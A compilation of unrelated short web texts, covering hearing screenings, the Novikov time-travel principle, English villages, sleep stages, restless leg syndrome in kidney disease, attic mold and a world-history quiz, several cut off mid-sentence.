Ultimately, the goal of a hearing evaluation is to get a clear picture of the cause and severity of hearing loss. Once that information is collected, treatment options are explored based on the results of the evaluation. All hearing problems are not permanent, and some can be resolved with normal ear cleaning methods. If hearing aids are required, hearing instrument specialists will always provide recommendations.
Industrial hearing screening
A hearing evaluation is different from a screening. The latter uses a simple pass or fail system to determine if a client needs a full evaluation. For certain jobs, this is a requirement to test worker stability in a high noise environment. Part of it is related to job healthcare costs, but there is also the danger aspect of having degraded hearing while working. In a high noise environment with machinery and other workers, having poor hearing can be a liability. That is why some states mandate the screening as part of an overall wellness program.
The screening is usually done onsite and tests for normal hearing functions. Using a series of beeps and sounds through a headset, the hearing instrument specialist determines hearing ability across several pitches. Although the screening is thorough, it can’t give an accurate percentage of hearing loss. The only thing the screening can do is recommend further evaluation at a later date
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Novikov self-consistency principle
The Novikov self-consistency principle known as the Novikov self-consistency conjecture and Larry Niven's law of conservation of history, is a principle developed by Russian physicist Igor Dmitriyevich Novikov in the mid-1980s. Novikov intended it to solve the problem of paradoxes in time travel, theoretically permitted in certain solutions of general relativity that contain what are known as closed timelike curves; the principle asserts that if an event exists that would cause a paradox or any "change" to the past whatsoever the probability of that event is zero. It would thus be impossible to create time paradoxes. Physicists have long known that some solutions to the theory of general relativity contain closed timelike curves—for example the Gödel metric. Novikov discussed the possibility of closed timelike curves in books he wrote in 1975 and 1983, offering the opinion that only self-consistent trips back in time would be permitted. In a 1990 paper by Novikov and several others, "Cauchy problem in spacetimes with closed timelike curves", the authors state: The only type of causality violation that the authors would find unacceptable is that embodied in the science-fiction concept of going backward in time and killing one's younger self.
Some years ago one of us considered the possibility that CTCs might exist and argued that they cannot entail this type of causality violation: events on a CTC are guaranteed to be self-consistent, Novikov argued. The other authors have arrived at the same viewpoint. We shall embody this viewpoint in a principle of self-consistency, which states that the only solutions to the laws of physics that can occur locally in the real Universe are those which are globally self-consistent; this principle allows one to build a local solution to the equations of physics only if that local solution can be extended to a part of a global solution, well defined throughout the nonsingular regions of the space-time. Among the co-authors of this 1990 paper were Kip Thorne, Mike Morris, Ulvi Yurtsever, who in 1988 had stirred up renewed interest in the subject of time travel in general relativity with their paper "Wormholes, Time Machines, the Weak Energy Condition", which showed that a new general relativity solution known as a traversable wormhole could lead to closed timelike curves, unlike previous CTC-containing solutions, it did not require unrealistic conditions for the universe as a whole.
After discussions with another co-author of the 1990 paper, John Friedman, they convinced themselves that time travel needn't lead to unresolvable paradoxes, regardless of the object sent through the wormhole. By way of response, physicist Joseph Polchinski wrote them a letter arguing that one could avoid the issue of free will by employing a paradoxical thought experiment involving a billiard ball sent back in time through a wormhole. In Polchinski's scenario, the billiard ball is fired into the wormhole at an angle such that, if it continues along its path, it will exit in the past at just the right angle to collide with its earlier self, knocking it off track and preventing it from entering the wormhole in the first place. Thorne would refer to this scenario as "Polchinski's paradox" in 1994. Upon considering the scenario, Fernando Echeverria and Gunnar Klinkhammer, two students at Caltech, arrived at a solution to the problem that managed to avoid any inconsistencies. In the revised scenario, the ball emerges from the future at a different angle than the one that generates the paradox, delivers its younger self a glancing blow instead of knocking it away from the wormhole.
This blow alters its trajectory by just the right degree, meaning it will travel back in time with the angle required to deliver its younger self the necessary glancing blow. Echeverria and Klinkhammer found that there was more than one self-consistent solution, with different angles for the glancing blow in each situation. Analysis by Thorne and Robert Forward illustrated that for certain initial trajectories of the billiard ball, there could be an infinite number of self-consistent solutions. Echeverria and Thorne published a paper discussing these results in 1991. Thus, it is plausible that there exist self-consistent extensions for every possible initial trajectory, although this has not been proven; this only applies to initial conditions outside of the chronology-violating region of spacetime, bounded by a Cauchy horizon. This could mean that the Novikov self-consistency principle does not place any constraints on systems outside of the region of space-time where time travel is possible, only inside it.
If self-consistent extensions can be found for arbitrary initial conditions outside the Cauchy Horizon, the finding that there can be multiple distinct self-consistent extensions for the same initial condition—indeed, Echeverria et al. found an infinite number of consistent extensions for every initial trajectory they analyzed—can be seen as problematic, since classically there seems to be no way to decide which extension the laws of physics will choose. To get around this difficulty and Klinkhammer analyzed the billiard ball scenario using quantum mechanics, performing a quantum-mechanical sum over histories using only the consistent extensions, found that this resulted in a well-defined probability for each consistent extension; the au
Green measure
In mathematics — in stochastic analysis — the Green measure is a measure associated to an Itō diffusion. There is an associated Green formula representing suitably smooth functions in terms of the Green measure and first exit times of the diffusion; the concepts are named after the British mathematician George Green and are generalizations of the classical Green's function and Green formula to the stochastic case using Dynkin's formula. Let X be an Rn-valued Itō diffusion satisfying an Itō stochastic differential equation of the form d X t = b d t + σ d B t. Let Px denote the law of X given the initial condition X0 = x, let Ex denote expectation with respect to Px. Let LX be the infinitesimal generator of X, i.e. L X = ∑ i b i ∂ ∂ x i + 1 2 ∑ i, j i, j ∂ 2 ∂ x i ∂ x j. Let D ⊆ Rn be an open, bounded domain. Intuitively, the Green measure of a Borel set H is the expected length of time that X, having started at x, stays in H before it leaves the domain D; that is, the Green measure of X with respect to D at x, denoted G, is defined for Borel sets H ⊆ Rn by G = E x, or for bounded, continuous functions f: D → R by ∫ D f G = E x The name "Green measure" comes from the fact that if X is Brownian motion G = ∫ H G d y, where G is Green's function for the operator LX on the domain D.
Suppose that Ex < +∞ for all x ∈ D, let f: Rn → R be of smoothness class C2 with compact support. F = E x − ∫ D L X f G. In particular, for C2 functions f with support compactly embedded in D, f = − ∫ D L X f G; the proof of Green's formula is an easy application of Dynkin's formula and the definition of the Green measure: E x = f + E x = f + ∫ D L X f G. Øksendal, Bernt K.. Stochastic Differential Equations: An Intro
Tolleshunt Major
Tolleshunt Major is a small village five miles north east of Maldon, in the Maldon District of Essex, England. It forms part of the electoral ward of Tolleshunt D'Arcy and is situated on the northern bank of the River Blackwater; the Tolleshunt group of villages grew up in the area settled by the Saxon chief Toll who cleared areas of forest round local water sources. Tolleshunta was the Anglo Saxon name for Toll's spring; the name Tolleshunt Major, was granted by King Henry VIII to Stephen Beckenham, in 1544. Beckenham bought various landscapes in and around the village and built a semi-fortified manor house with a turreted gatehouse within a red-brick boundary wall; this became known as "Beckingham House". The house was replaced by a farmhouse; the former gatehouse which formed part of Beckingham Manor, complete with turrets and boundary wall still remain. In 1609, Beckingham completed the design and construction of a heraldic shield which featured statuettes of himself and his wife Alvis Beckingham.
The monument was displayed at the parish church of St. Nicholas; this scrapped. The Beckingham family came from Wiltshire. Stephen’s son Thomas Beckingham received a knighthood and died in 1633, his son, became heir to the estate aged 12. The estate was sold to Sir Thomas Adams, an alderman from London; the manor house changed hands several times before becoming the property of the current owners. Tolleshunt Major's only streets are Beckingham Street, Bakers Lane, Mill Lane, Witham Road, Tudwick Road and Tolleshunt D'Arcy Road, all situated within the built up part of the village, which consists of just over one hundred dwellings; the village's parish boundaries stretch as far as Little Totham, taking in parts of Sawyers Lane and Plains Road. Other rural parts of the village include Church Road to the east, Tudwick Road to the north, Sawyers Lane and Plains Road to the west, parts of Scraley Road, Wash Lane and Bakers Green to the south; the village, not on any main road, is bordered by the villages of Little Totham, Tolleshunt D'Arcy, Tolleshunt Knights and Great Totham North and South.
Nearby towns include Maldon District, Colchester and Tiptree. Tolleshunt Major is host to The Beckingham Business park which has a small number of businesses, ranging from a transport company to a sports equipment manufacturing company. There are no street lights, mains gas supply or bus service apart from a schools service in the village; the village has one public house called the Beckingham Bell, situated in Beckingham Street. The village does have one small shop on Wicks Manor Farm situated in Tolleshunt Major, owned by Howies & Sons. Wicks Manor Farm is a Local Essex farm which produces dry cured bacon, ham and pork. Other shops can be found in Tiptree, about a ten-minute drive where large supermarkets can be found as well as fast food restaurants, newsagents, a post office, hair salons and pharmacists. In Tiptree is the jam factory owned by Wilkin & Sons Limited. Bigger shopping centres are at Chelmsford City about 30 minutes drive away and Colchester Town about 30 minutes away. There are several elected representatives at different levels of government which act for Tolleshunt Major and the surrounding villages.
There are two Tolleshunt D'arcy district councillors which represent the area at Maldon District Council. The current district councillors are Maddie Thompson; the current MEPs are Vicky Ford, Andrew Duff, Stuart Agnew, Robert Sturdy, Geoffrey Van Orden, Richard Howitt and David Campbell Bannerman. There is no bus service that runs through Tolleshunt Major apart from the school bus, operated by Stephensons of Essex. Buses can be boarded from the nearby village of Tolleshunt D’arcy which commutes through Colchester or Great Totham. Other villages served are Maldon and Witham; the closest National Rail service is located in Witham or Hatfield Peveral, is operated by Abellio Greater Anglia. Destinations served from these stations include London Liverpool Street and Ipswich, Harwich and Norwich via the Great Eastern Main Line; the nearest London Underground line is the central line at Stratford International. There are no schools in the village of Tolleshunt Major, there nearest primary school is in Tolleshunt D'arcy.
Tolleshunt D'arcy has one primary school in the village on Tollesbury Road called St. Nicholas School C of E; this school serves the villages of Tolleshunt D’Arcy, Tolleshunt Major, Tolleshunt Knights and Little Totham. The school is situated in the centre of Tolleshunt D'Arcy village and has acres of open grassland and wild-life area, it has views over the Blackwater Estuary. St. Nicholas primary school provides a broad and balanced education for pupils between the ages of 4 and 11 years, it was founded according to the practices of the Church of England. The school is a single story building built in 1983 which has 7 classrooms which includes a large reception class room with its own playground. There has been a school in Tolleshunt D’Arcy since before 1900; the school has a large hall used for assemblies, Physical education, teaching and plays. It has a library, ICT suite and wildlife quad with a pond; the schools latest Ofsted inspection dated November 2011 achieved an overall grade of 3, satisfactory.
There is no pre school either is Tolleshunt Major, the nearest again being in the neig
Leverton, Lincolnshire
Leverton is a village and civil parish in the Boston district of Lincolnshire, about 6 mi east-north-east from Boston, on the A52 road. The population of the civil parish at the 2011 census was 689, it is one of eighteen parishes which, together with Boston, form the Borough of Boston in the county of Lincolnshire, England. The local government has been arranged in this way since the reorganisation of 1 April 1974, which resulted from the Local Government Act 1972; this parish forms part of the Coastal electoral ward. Hitherto, the parish had formed part of Boston Rural District, in the Parts of Holland. Holland was one of the three divisions of the traditional county of Lincolnshire. Since the Local Government Act of 1888, Holland had been in a county in itself. Before this, Leverton had been in Parts of Holland. Leverton Grade I listed Anglican church is dedicated to St Helen. Media related to Leverton at Wikimedia Commons "Leverton" See details of the parish Council See map
Charles Fairfax (soldier)
Sir Charles Fairfax was an English soldier. Fairfax was the fourth son of Sir Thomas Fairfax of Denton and Nun Appleton in Yorkshire, brother of Thomas Fairfax, 1st Lord Fairfax of Cameron, he was born in or about 1567, when young he went with his brother to serve under Sir Francis Vere in the Low Countries. Fairfax became a distinguished commander. At the battle of Nieuwport he rallied the English companies at a critical moment, he was one of the defenders during the siege of Ostend. By desire of Francis Vere he went to the camp of the Archduke Albert as a hostage, he fought in the breach when the Spanish forces assaulted the works in December 1601. In May 1604 he was at the siege of Sluis, commanding troops which routed the Spanish general Luis de Velasco in the battle of Oostberg line. According to Dutch military historians François de Bas and F. J. G. Ten Raa, Fairfax became commander of the English companies still fighting at Ostend, he landed there on 7 June with five companies of reinforcements, but was killed in the last stages of fighting on 17 September, only three days before the general surrender of the stronghold.
This article incorporates text from a publication now in the public domain: "Fairfax, Charles". Dictionary of National Biography. London: Smith, Elder & Co. 1885–1900
List of African musicians
This is a list of African musicians and musical groups. See: List of Algerian musicians See: List of Angolan musicians Angélique Kidjo Wally Badarou Banjo Mosele Franco and Afro Musica Matsieng Zeus Balaké Cheikh Lô Dramane Kone Farafina Best Life Music Khadja Nin Kebby Boy Sat-B See: List of Cameroonian musicians Cesaria Evora Gil Semedo Alpha Blondy Magic System Ernesto Djédjé Tiken Jah Fakoly DJ Arafat Serge Beynaud Youlou Mabiala Pierre Moutouari Werrason Papa Wemba Ferre Gola Fally Ipupa Mbilia Bel Abeti Masikini Madilu System Youlou Mabiala Franco Luambo Makiadi See: List of Democratic Republic of the Congo musicians See: List of Egyptian musicians Abraham Afewerki Oliver N'Goma Patience Dabany Annie-Flore Batchiellilys Sona Maya Jobarteh Foday Musa Suso See: List of Ghanaian musicians Sona Tata Condé Sekouba Bambino Daddi Cool Les Ballets Africains Balla et ses Balladins Bembeya Jazz Djeli Moussa Diawara Famoudou Konaté Mory Kanté Mamady Keita Ballet Nimba José Carlos Schwarz Eneida Marta See: List of Kenyan musicians Sundaygar Dearboy Knero Takun-J See: List of Malagasy musicians Boubacar Traoré Mory Kanté Salif Keita Toumani Diabaté Kandia Kouyaté Habib Koité Issa Bagayogo Rokia Traoré Tinariwen Ali Farka Touré Amadou et Mariam Oumou Sangaré Afel Bocoum Lobi Traoré Fatoumata Diawara Djelimady Tounkara Rail Band Dimi Mint Abba Malouma Noura Mint Seymali Wazimbo Ghorwane Fany Pfumo Stewart Sukuma Moreira Chonguica Lizha James Neyma Mingas Al Bowlly Wazimbo 340ml Afric Simone Mamar Kassey Mdou Moctar See: List of Nigerian musicians Alpha Rwirangira Tom Close Riderman King James Knolwess Butera Benjami Mugisha Urban Boyz Kate Bashabe Simon Bikindi Corneille Miss Jojo Akon Baaba Maal Ismaël Lô Orchestra Baobab Positive Black Soul Thione Seck and Raam Daan Star Band Touré Kunda Youssou N'Dour and Étoile de Dakar Xalam Bai Kamara S. E. Rogie Steady Bongo K-Man Emmerson Anis Halloway Supa Laj Xiddigaha Geeska Mohamed Mooge Liibaan Waayaha Cusub Hasan Adan Samatar Aar Maanta Maryam Mursal K'naan Guduuda'Arwo Magool See: List of South African musicians Yaba Angelosi Mary Boyoi Emmanuel Jal Silver X Abdel Aziz El Mubarak AlKabli Mohammed Wardi Dusty & Stones Kambi Tendaness Joseph Lusungu Mnenge Ramadhani Muhiddin Maalim Hassani Bitchuka Saidi Mabera Wilson Kinyonga Remmy Ongala Kasaloo Kyanga Mr. Nice Saida Karoli Diamond Platnumz Lady Jaydee Professor Jay TID Rose Mhando Vanessa Mdee A.
Y. Ruby Ali Kiba Rayvanny Bi Kidude Carola Kinasha Imani Sanga Tudd Thomas Bella Bellow King Mensah See: List of Ugandan musicians See: List of Zambian musicians See: List of Zimbabwean musicians List of Soukous musicians List of African guitarists |
Auditory Association Area
The auditory association area is a part of the brain that is found in Wernicke's area. It is responsible for processing acoustic (sound) signals that the brain interprets as sounds, speech or music. Wernicke's area is part of the cerebral cortex, where, along with Broca's area, the capacity for speech and written language originate.
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A Brief Overview of 4 Causes of Attic Mold
Although we may not always think of it, mold is a common problem for homeowners. It can be easy to overlook mold simply because it occurs in areas that we don’t visit often; the attic is a perfect example. However, considering that it’s a part of your own home, you still want the attic to be well-kept. It’s wise to take proper preventative measures, as they save us from a headache in the future. But what causes mold in the first place? Knowing the answer to that question may help you avoid a potential future problem.
1. Leaks
Given its proximity to your roof, your attic is particularly susceptible to leaks. As it doesn’t take much moisture to grow a substantial amount of mold, a small leak can quickly cause a big problem. It also doesn’t take long for mold to grow—only 24 to 48 hours. If you’ve recently experienced a rainstorm, be sure to check your attic to confirm that everything is completely dry.
2. Insulation
Poor insulation can play a huge role in mold production. Having a proper airflow is integral to preventing it. If your duct systems aren’t properly installed, you risk losing up to 60% of heated air before it can reach the register. If the warm air from your home comes in contact with the cold air in your attic, condensation can occur, which would cause mold to grow.
3. Ventilation
Another common problem is inadequate ventilation. It’s important to be sure that you are not covering your vents with insulation. The air that travels up to your attic from exhaust vents around your house can become trapped in your attic and rob it of its ability to ventilate. If your attic does not have proper air flow, it increases the chances of mold growth.
4. Feeding the Mold
Black mold is sure to thrive so long as it has something to consume—and if not cared for, your attic act as a mold buffet. Black mold lives off an organic compound called cellulose, which is present in many types of wood. When that wood gets wet, mold is sure to make a feast out of it.
All these origins point to one thing—moisture. At the end of the day, so long as there is precipitation, mold has the means to survive. What you need to be aware of are the different ways your attic can receive unwanted moisture and practice regular maintenance.
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First molecular diagnostics for insecticide resistance in sandflies
May 05, 2017
Leishmaniasis is a group of several related neglected tropical diseases which are all transmitted by the bite of sandflies. Of these, visceral leishmaniasis (VL) is the most severe, with very high fatality if untreated and great impact in rural areas of Brazil, East Africa, and especially the Indian subcontinent. In a paper(link is external) published in the journal PLOS NTDs, researchers from the Department of Vector Biology of LSTM (UK) and the Rajendra Memorial Research Institute (RMRI, India) identify DNA polymorphisms causing two knockdown resistance (kdr) mutations in the pyrethroid and DDT target site gene of the sandfly Phlebotomus argentipes, the sole vector of VL in India.
LSTM's Dr Bruno Gomes, the lead author of the paper said: "Mutations in this gene are widely linked with insecticide resistance in mosquitoes and other insects but this is the first record in sandflies. The two mutations, which are identical to those found in Anopheles and Culex mosquitoes in Africa, co-exist in this species of sandfly in Bihar state, the primary Indian VL focus, and strongly predict survival to DDT and pyrethroids. Phlebotomine sandflies are very difficult to rear in a laboratory setting, which makes assessment of insecticide resistance using bioassays far more challenging than in mosquitoes, and places a premium on DNA resistance markers which can be applied to any specimen, even those dead and poorly preserved."
For decades, indoor residual spraying (IRS) targeting sandflies with DDT has been the main control tool in the region and is likely to have selected for the - now widespread - DDT resistance via the kdr mutations detected. Indeed, higher frequencies of thesemutations are seen in the parts of Bihar which is subject to more IRS. Pyrethroids are now being implemented as an alternative in Bihar but because both insecticides attack the same target, the same mutations also compromise the lethality of pyrethroids, at least at lower doses.
Dr David Weetman, the paper's senior author commented: "Unlike for DDT, pyrethroid resistance affecting sandfly control has not yet been detected in India, however this would be a huge challenge for VL control and must be avoided. Ensuring insecticide is sprayed at the correct dose, which has been a focus of LSTM work for several years in Bihar, becomes even more crucial now that sandflies have a demonstrated genetic resistance mechanism. Sensitive and specific, kdr markers will provide an easily-applied, early-warning diagnostic system to predict oncoming problems. Nevertheless, it is crucial that new methods of control, including further alternative insecticides are trialled against VL-transmitting sandflies as an urgent priority, which forms the next step of LSTM and RMRI's research programme."
Liverpool School of Tropical Medicine
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Sleep: a tranquility of mind
Article submission, Monday 6th November 2006
a goods nights sleeping bliss
Sleep is a deception, it is not as simple as the powering down of an electrical appliance which puts it in a state of inert dormancy that ceases any nature of activity, it is in fact quite the opposite. Although in the past this was thought to be the case, we now know better. Without going to indepth, sleep is induced upon us through the gradual buildup of a neurotransmitter chemical during our wake hours called adenosine (this of which was only discovered in 2005 at the University of Texas). Sleep then can best be defined as a state of unconciousness from which we can be aroused as opposed to a coma which is a sleep from which we cannot be aroused.
sleep stages
A full understanding of the `sleep process' has yet to be fully understood. One thing for sure is that it has much intrinsic value to our overall wellbeing both mental and physically. So what is it that happens to us during sleep? Sleep it seems is a very complex process, biologically speaking of course, although for us individually its a simple case of `crashing' after the end of a long day's activity.During our sleep period our brain still remains very much dynamic however instead of concentrating on external stimuli it reverts its attention to internal processes which includes cellular repair work that needs attention and other functions of the system that needs assistance, such as our hormonal system. The nocturnal process goes through various stages which is explained next.
Sleep stages
Each sleep state is characterised by differing brainwave activity, and sleep itself consists of a further observable activity known as (NREM) non rapid eye movement and (REM) rapid eye movement (which is usually associated with dreaming) the former (NREM) which accounts for 75-80% of our sleep time is subdivided into a further 4 stages:
Stage I (light sleep)
Generally referred to assomnolence or`drowsy sleep', the transition zone between wake and sleep in which the brain waves change from the daytime alpha waves to theta waves and we loose partial concious awareness of the environment around us. Sometimes even the occasional `flinching' or body jerks occurs during this brief period.
Stage II
Conscious awareness of our environment totally disappears. This stage occupies 45-55% of total sleep time.
Stage III
Brainwaves now change to delta rhythms which takes us into a (SWS) slow wave sleep which occupies 3-8% of sleep time which is a momentary transition phrase for stage IV.
Stage IV (deep sleep)
This is the deepest stage of sleep which takes up 10-15% of sleep time. The latter end of which brings us into the REM pre-awakening stage in which dreaming can occur and you are beginning to wake from your slumber.
The sleep process occurs in approximately 90min alternating cycles of NREM and REM. All of this process goes unhindered whilst we rest, however the one way we can surely know of its importance is when we do not get enough of it. The body does not it would seem simply `write off' much needed sleep should we not give it what it needs, it simply carries it over and over till it finally gets to a breaking point at which it just shuts down completely from absolute total exhaustion.
Sleep Deprivation
Nothing will create more mental havoc and psychological chaos than sleep deprivation. It goes without saying the brain is a highly evolved and much complex organ and can be seriously damaged by this torturous process. Once used as a method of extracting information from among POW its a surprise to find that even today in modern society many individuals deprive themselves of a good nights sleep, either through working long hours or even stress from everyday living. Yes I myself have been there and done it also. This will destroy your wellbeing faster than you can imagine, and if you've ever fallen asleep at the wheel of a car (which I have done) you'll know exactly that which I'm talking about.
We are all individuals and as such need varying amounts of sleep, and as such are all in tune as to how much we need which is usually approximately around 8 hours. This being the case, should this be cut by only 1 hour a night depreciation in waketime performance, cognitive ability and mental concentration ability will eventually occur, be it ever so slight at first, but it will eventually be payback time. So start counting those darn sheep and get a restful nights sleep.
here are a few to get you started!
The good rest and sleeping guide
I have heard if you sleep on the end of the bed you will eventually drop off however here are a few good pointers for getting a good nights rest. These are pretty much common sense, however they do work well.
• Keep a regular sleep work schedule, form a good sleeping habit.
• Minimise caffeine in your diet and especially so before retiring, at least 4 hours beforehand.
• Don't smoke, especially near bedtime and or if you should wake during the night.
• Avoid alcohol and heavy meals before sleep
• Get into a habit of doing regular exercise.
• Minimise noise and variable temperatures.
• Try and wake up without an alarm clock, this can be done by going to bed a little earlier each night till you get to know your own sleep time, thus waking up at the right time.
"Sweet Dreams"
Should you have any sleep difficulty problems I highly recommend checking out the sleep disorders guide which is an in depth A to Z, all you ever wanted to know but were afraid to ask site on all things regarding sleep. Another good resource is the Stop feeling tired e-book which can be downloaded here!
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Wednesday, November 11, 2009
Gettysburg Address as a Veterans Day tribute
Abraham Lincoln wrote and delivered this famous speech over half a century before the United States had an official Veterans Day holiday (or Armistice Day, as it originated) but this message is very suitable to re-read and ponder today, especially the closing paragraphs. The sentiments Lincoln expressed for the brave soldiers who perished at Gettysburg are certainly applicable to how Americans should feel for all of our veterans, whether they perished in war or survived it, including those living today.
Reading this while thinking about Veterans' Day may give you a new perspective on the speech, other than the readings on "normal" days and the usual acolades and interpretations this address receives. The connection of it with Veterans Day (and Memorial Day, for that matter) is one that just came to mind today, and it seems like a perfect match to me. What brilliant words by President Lincoln and what remarkable feelings they express. This is certainly an appropriate day to take this speech to heart.
(I took this version from
1 comment:
1. I memorized the Gettysburg Address when I was a kid growing up in the public schools of Tennessee and assumed the things it said were true. That's when I was a child.
Lincoln's words are a mockery when one considers that he held 13,000 northern political prisoners, without trial or due process of law - just because they disagreed with his illegal war.
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Restless Leg Syndrome and Chronic Kidney Disease
Restless leg syndrome (RLS) can disturb your sleep. If you have chronic kidney disease (CKD), it can also disrupt your dialysis time. The uncomfortable and sometimes intense feelings in your legs can make sitting still for your dialysis treatment unpleasant. You may want to cut your session short because the feelings in your legs are unbearable. Sometimes patients are unaware that the sensation in their legs is a medical condition and can be treated.
What is RLS?
RLS is a condition where you feel an uncomfortable sensation in your legs and are compelled to move them. It occurs when you are trying to relax or fall asleep. You may get RLS when you have been sitting or lying down for an extended period of time, such as when you’re on dialysis or sitting in a car or plane. The uncomfortable sensations vary from person to person. Some people report an itchy feeling, while others report a crawling or “creepy” sensation. RLS can also be painful; the sensations can feel like burning, aching or prickling.
Moving your legs gets rid of these uncomfortable feelings. You may find yourself walking or pacing, jiggling your legs and feet or tossing and turning in bed to stop the RLS. The symptoms of RLS are more pronounced at night, particularly at bedtime. This urge to move your legs disrupts your sleep patterns. You may have difficulty falling or staying asleep, which can lead to insomnia. During the day, you may feel fatigued and irritated.
What causes RLS?
RLS generally affects older people. However, there are some health conditions that are associated with RLS. They include the following:
Diabetes can contribute to RLS. Diabetes can damage tiny blood vessels and nerves. Often, people with diabetes are told to carefully examine their feet for any outward signs of damage because they may not be able to feel a wound or injury due to nerve damage.
In the past it was thought that iron deficiency or lack of erythropoietin (epo) could be a cause of RLS. A common complication of CKD is low iron levels or anemia. Healthy kidneys produce erythropoietin, a hormone that helps make red blood cells. When the kidneys are damaged, they make little or no erythropoietin. With low iron levels and fewer red blood cells being produced, anemia can develop in the early stages of kidney disease and get worse as the renal disease progresses. Nearly all patients in end stage renal disease (the point where dialysis becomes necessary) have anemia.
Depending on the cause of your anemia (low epo levels, low iron levels or a combination of both), your doctor will prescribe medication or supplements. In addition to treating anemia, it has been shown in animal studies that epo stabilizes and/or prevents nerve damage for those with diabetes. Although the direct cause of RLS isn’t certain, it is believed that treatment with epo and iron supplements still help treat RLS.
More recently studies have shown that RLS may be associated with low levels of parathyroid hormone (PTH). Because people with kidney disease are at risk for bone disease, their doctors will monitor their PTH level to make sure it isn’t too high. In patients suffering from RLS a common trait was that they had low PTH levels. Another common factor in those who reported having RLS was the number of neurologic and psychiatric drugs that were administered. Although it’s difficult to know if either these drugs or low PTH cause RLS, these findings are reasons for doctors to avoid over suppression of PTH and to carefully consider the prescribing of neuropsychiatric medicines.
How is RLS treated?
Restless leg syndrome can be treated by your doctor with epo; iron supplements; altering PTH treatment; changing certain anti-depressants, cold and cough medications or anti-seizure drugs that may be causing or enhancing RLS or may prescribe drugs such as clonazepam or benzodiazepines to alleviate symptoms.
Your doctor may also suggest self-administered home therapies to help you get a better night’s sleep. These might include:
• Massage
• Warm baths
• Warm/cool compresses
• Relaxation techniques
• Changes to your sleep environment
• Exercise
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How IoT and Blockchain can Revolutionize SCM in the Future
Last updated on March 22, 2018 by Dotsquares
Gartner have predicted that “By 2021, one in 10 warehouse workers in established economies will be replaced by autonomous mobile robots”. Whilst it seems we are already on our way to make Supply Chain autonomous, why aren’t processes looking drastically different than they were a few years ago? In further thought what will be the new technologies that will redefine the way we see supply chain now?
These questions were answered in a report on Blockchain that was recently published by Forbes. The report has put into perspective how Blockchain can be the final solution to the trust related SCM (Supply Chain Management) issues that multiple industries are struggling with at present.
A Brief History of Supply Chain
Earlier, during the emergence of mass production and distribution of products, these trust issues were resolved by branding. In that age, branding was regularly maintained by the manufacturers themselves, but as the scale of distribution grew, the need for a more efficient chain was acknowledged as important and found its solution in the present supply chain mechanism.
However, gradually, for the sake of more ‘efficiency’ and ‘optimisation’, quality of the products being sold continued to diminish, to the point where the whole SCM of varied industries regardless of their brand’s repute in the market, was put in to question. One evident example was that of MNC grocery retailer Tesco.
Automated Supply Chain Management
Analysts have since suggested many solutions for maintaining the SCM credibility, no solution, however, seems as plausible as that of automation. In today’s age, when we have the support of technologies like cloud and big data this solution sounds more plausible and even inevitable than it would have at any other time in the history.
So the proposed solution for the automation of Supply Chain, as suggested by the report, lies in the blended use of IoT and Blockchain.
Blockchain, a technology that was originally described in 1991 as a method for time stamping the digital documents, was actually put into use in 2009 by Satoshi Nakamoto for the mining and transaction of Bitcoin, a digital currency.The technology, as adequately described in this blog, can have multifarious applications including that of optimising the SCM processes for more secure and credible transfer.
At present, the long supply chains that literally run across the globe have brought logistics to the point of zero visibility, where end consumers have virtually no means to verify that the products they are consuming are actually the ones that they claim to be, and not something that was entered into the chain through some fraudulent methods.
With Blockchain, this issue can be solved to a high level degree. The idea is to create immutable digital records of the items that are dually protected by cryptography and distributed ledger system. This will eliminate the risk of meddling with the details of the products that the manufacturer had assigned to them.
To mitigate the risk of real-world products themselves being tampered with, IoT presents rather intriguing solutions. Dr Jemma Green, co-founder and chairperson of Power Ledger. io, states that using tools like infrared sensors and GPS in the logistics, the system can substantially be rendered as automated, which with the strength of Blockchain can bring the SCM to the point where it is remarkably incorruptible. |
A Real Pain in the Neck: Surgeons' Posture
Surgeons spent most of their time during operations forcing their bodies into bad postures, wearable sensors confirmed. The study monitors the ergonomics of surgeons at work and identifies risk factors for injury using wearable sensor inertial measurement units (IMUs), led by Andrew Meltzer, reported online in JAMA Surgery.
The sensors - each with an accelerometer, magnetometer, and gyroscope - allowed for continuous recording and measurement of deviations from neutral body position. Fifty-three surgeons representing 12 surgical specialties underwent continuous IMU recording during 115 cases. Surgeons had 4 IMUs placed on their head, torso, and upper arms to measure deviations from neutral body position.
As a result, surgeons spent 65% of procedure time in high-risk neck positions. High-risk positions for the torso and shoulders were observed during 30% and 11% of the minutes of procedure time, respectively. The highest postural neck risk for surgeons was during open vs laparoscopic procedures. Surgeons tended to report more pain if they were working longer cases, had more years of practice under their belt, and were using loupes and headlights. In turn, surgeon self-reported pain tended to correlate with ergonomic risk, Meltzer and colleagues found.
The health care workforce faces numerous occupational hazards, and efforts to address these problems have focused on improving safety for support staff, nurses. However, pain among surgeons has garnered much less attention, despite the implications of practitioner injury and disability on the surgical workforce.
"The physical demands of performing surgery are real. A surgeon's cervical spine, in particular, is at unacceptably elevated risk during many procedures. Poor ergonomics are a cause of chronic pain and disability for many surgeons, reducing career longevity and threatening the public's access to surgical care," the author said.
Source: https://jamanetwork.com/journals/jamasurgery/fullarticle/2762518
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History Quiz / AP World History period 6 chapters 13-15
Random History or World Quiz
Score 0/20 Timer 10:00
Slaves were captured from the coasts of...
What was the Italian Renaissance based on?
Which city became the economic center of Europe in 1498?
What year was the Treaty of Tordesillas made?
What year did Ferdinand Magellan's voyage begin?
Who spurred the beginning of the Age of Exploration?
What was the major epidemic in America as a result of the Columbian exchange?
What crop saves Jamestown?
Who dominated the Spice trade in the 1600s?
In the treaty of Tordesillas, Spain got west of what country?
The sun never sets on which empire?
What brought a new age of art and literature to Europe?
What year did Constantinople fall?
Who was the great Chinese explorer of the 15th century?
separation of church and state
People came to the real world for...(the three g's)
Tomatoes, potatoes, and syphillis were all part of what exchange
The belief that there is a finite amount of gold and silver on earth
Who opened up the spice trade for Portugal?
Who is responsible for finding the Philippines for Spain?
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Post Mortem Photography
Culturally speaking, the tradition of post mortem art predated photography, was a common practice within wealthy groups of people. This was essentially thought of as maintaining a sense of life after death, in children and adults alike. Before the invention of the daguerreotype in 1839, post mortem portraits, generally presented at funerals, were limited to those wealthy enough to afford a painter[1]. After the daguerreotype became a common societal resource in 1841, this practice of maintaining life through photography became accessible to the general population, and even was representative of technological advantages in preserving bodies. By 1850, the cost of a daguerreotype was only twenty-five cents, making post mortem photographs a widespread cultural phenomenon.
